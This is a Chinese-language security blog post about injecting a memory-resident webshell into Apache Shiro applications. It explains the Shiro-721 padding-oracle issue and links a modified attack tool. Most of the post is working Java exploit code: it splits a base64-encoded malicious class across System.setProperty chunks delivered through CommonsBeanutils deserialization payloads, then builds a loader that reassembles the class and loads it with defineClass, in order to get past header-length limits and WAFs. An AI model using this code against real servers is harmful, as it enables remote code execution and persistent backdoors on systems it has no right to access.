JavaSec 11-从Shiro内存马注入原理到二开工具

约 1429 字大约 5 分钟

2025-04-05

前言

准备面试时候发现之前并没有写过 shiro 相关的分析，顺便结合之前分析的内存马，将 bypass waf 的手法去对 shiro attack 工具进行二开，尝试摆脱入门阶段学习 😦

工具已发布在https://github.com/Nijika0529/ShiroAttack2

触发原理一样但是是密码学问题，Shiro-721 漏洞的产生源自AES-128-CBC模式，它受 CBC 字节反转攻击和 Padding Oracle Attack(侧信道攻击)的影响，导致可以从一个正常的 rememberMe 的值基础上,根据 Padding Oracle Attack 的原理,通过爆破构造出恶意的 RememberMe，这也就是为什么后期换了 GCM 模式加密（工具里面那个按钮就是为了解决这个问题的）

内存马

无非就是在不同环境去获取到 request 域，注册 Filter，利用手法在之前第八篇文章讲过了，但是面对老生常谈的请求头过长问题，市面上常见的工具比如 shiro attack ，采用 rememberme 去写一个 defineclass ，去获取到请求包里的 post 参数，参数为 base64 编码的恶意类，从而去加载，这里我们换一种方法，采用切片上传恶意类编码，然后拼接去加载

package evil;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import test.CommonsBeanutilsString;

import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;

public class SetProperty  {
        public static void main(String[] args) throws Exception{
            byte[] base64bytes = Files.readAllBytes(Paths.get("C:\\Users\\28032\\Desktop\\test\\1.txt"));
            String base64 = new String(base64bytes, StandardCharsets.UTF_8);
            int groupSize = 1000;
            int length = base64.length();
            int startIndex = 0;
            int endIndex = Math.min(length, groupSize);
            int a = 1;
            String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
            ClassPool classPool=ClassPool.getDefault();
            classPool.appendClassPath(AbstractTranslet);

            System.out.println("设置系统属性：");
            while (startIndex < length) {
                CtClass payload=classPool.makeClass(String.valueOf(a));
                payload.setSuperclass(classPool.get(AbstractTranslet));
                String group = base64.substring(startIndex, endIndex);
                startIndex = endIndex;
                endIndex = Math.min(startIndex + groupSize, length);
                String cmd = "System.setProperty(\""+a+"\",\""+group+"\");";
//            System.out.println(cmd);
                payload.makeClassInitializer().setBody(cmd);
                byte[] bytes=payload.toBytecode();
                String poc = new CommonsBeanutilsString().getPayload(bytes);
                System.out.println(poc);
                a++;
            }
            String bytestr ="";
            for(int i=1;i<=a-1;i++){
                if(i<a-1){
                    bytestr = bytestr + "System.getProperty(\""+i+"\")+";
                }else {
                    bytestr = bytestr + "System.getProperty(\""+i+"\");";
                }
            }
            String cmd = "{try {\n" +
                    "ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" +
                    "String base64Str = "+bytestr+"\n" +
                    "byte[] clazzByte = org.apache.shiro.codec.Base64.decode(base64Str);\n" +
                    "java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class,int.class,int.class});\n" +
                    "defineClass.setAccessible(true);\n" +
                    "Class clazz = (Class)defineClass.invoke(classLoader,new Object[]{clazzByte, new Integer(0), new Integer(clazzByte.length)});\n" +
                    "clazz.newInstance();\n" +
                    "}catch (Exception e){}}";
//        System.out.println(cmd);
            CtClass payload=classPool.makeClass("ld");
            payload.setSuperclass(classPool.get(AbstractTranslet));
            payload.makeClassInitializer().setBody(cmd);
            byte[] bytes=payload.toBytecode();
            String poc = new CommonsBeanutilsString().getPayload(bytes);
            System.out.println("加载字节码：\n"+poc);
        }
    }